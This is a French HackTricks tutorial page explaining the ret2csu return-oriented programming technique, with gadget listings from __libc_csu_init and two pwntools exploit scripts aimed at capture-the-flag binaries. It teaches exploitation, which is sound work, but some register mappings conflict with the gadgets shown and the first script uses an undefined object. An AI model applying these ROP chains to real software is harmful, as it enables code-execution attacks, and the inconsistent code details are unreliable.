Ret2csu

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

https://www.scs.stanford.edu/brop/bittau-brop.pdfInformations de base

ret2csu est une technique de hacking utilisée lorsque vous essayez de prendre le contrôle d'un programme mais que vous ne pouvez pas trouver les gadgets que vous utilisez habituellement pour manipuler le comportement du programme.

Lorsqu'un programme utilise certaines bibliothèques (comme libc), il dispose de certaines fonctions intégrées pour gérer la façon dont différentes parties du programme communiquent entre elles. Parmi ces fonctions, il y a quelques pépites cachées qui peuvent agir comme nos gadgets manquants, en particulier un appelé __libc_csu_init.

Les gadgets magiques dans __libc_csu_init

Dans __libc_csu_init, il y a deux séquences d'instructions (gadgets) à mettre en avant :

  1. La première séquence nous permet de configurer des valeurs dans plusieurs registres (rbx, rbp, r12, r13, r14, r15). Ce sont comme des emplacements où nous pouvons stocker des nombres ou des adresses que nous voulons utiliser plus tard.
armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Ce gadget nous permet de contrôler ces registres en dépilant des valeurs de la pile dans ceux-ci.

  1. La deuxième séquence utilise les valeurs que nous avons configurées pour faire quelques actions :
  • Déplacer des valeurs spécifiques dans d'autres registres, les rendant prêtes à être utilisées comme paramètres dans des fonctions.
  • Effectuer un appel à un emplacement déterminé en additionnant les valeurs dans r15 et rbx, puis en multipliant rbx par 8.
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Peut-être que vous ne connaissez aucune adresse à écrire là et vous avez besoin d'une instruction ret. Notez que le deuxième gadget se terminera également par un ret, mais vous devrez remplir certaines conditions pour y parvenir :
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Les conditions seront :

  • [r12 + rbx*8] doit pointer vers une adresse stockant une fonction appelable (si aucune idée et pas de pie, vous pouvez simplement utiliser la fonction _init) :
  • Si _init est à 0x400560, utilisez GEF pour rechercher un pointeur en mémoire vers celle-ci et faites en sorte que [r12 + rbx*8] soit l'adresse avec le pointeur vers _init :
bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
  • rbp et rbx doivent avoir la même valeur pour éviter le saut
  • Il y a quelques pops omis que vous devez prendre en compte

RDI et RSI

Une autre façon de contrôler rdi et rsi à partir du gadget ret2csu est d'accéder à des offsets spécifiques :

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Vérifiez cette page pour plus d'infos :

BROP - Blind Return Oriented Programming

Exemple

Utilisation de l'appel

Imaginez que vous souhaitiez effectuer un syscall ou appeler une fonction comme write() mais que vous ayez besoin de valeurs spécifiques dans les registres rdx et rsi en tant que paramètres. Normalement, vous chercheriez des gadgets qui définissent ces registres directement, mais vous ne pouvez en trouver aucun.

C'est là que ret2csu entre en jeu :

  1. Configurer les Registres : Utilisez le premier gadget magique pour extraire des valeurs de la pile et les placer dans rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) et r15.
  2. Utiliser le Deuxième Gadget : Avec ces registres configurés, vous utilisez le deuxième gadget. Cela vous permet de déplacer vos valeurs choisies dans rdx et rsi (à partir de r14 et r13, respectivement), préparant les paramètres pour un appel de fonction. De plus, en contrôlant r15 et rbx, vous pouvez faire en sorte que le programme appelle une fonction située à l'adresse que vous calculez et placez dans [r15 + rbx*8].

Vous avez un exemple utilisant cette technique et l'expliquant ici, et voici l'exploit final qu'il a utilisé :

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

warning

Notez que l'exploit précédent n'est pas destiné à faire un RCE, il est juste destiné à appeler une fonction appelée win (prenant l'adresse de win depuis stdin appelant gets dans la chaîne ROP et la stockant dans r15) avec un troisième argument ayant la valeur 0xdeadbeefcafed00d.

Contournement de l'appel et atteinte du ret

L'exploit suivant a été extrait de cette page où le ret2csu est utilisé mais au lieu d'utiliser l'appel, il contourne les comparaisons et atteint le ret après l'appel :

python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Pourquoi ne pas simplement utiliser libc directement ?

Généralement, ces cas sont également vulnérables à ret2plt + ret2lib, mais parfois vous devez contrôler plus de paramètres que ceux qui peuvent être facilement contrôlés avec les gadgets que vous trouvez directement dans libc. Par exemple, la fonction write() nécessite trois paramètres, et trouver des gadgets pour définir tous ceux-ci directement peut ne pas être possible.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks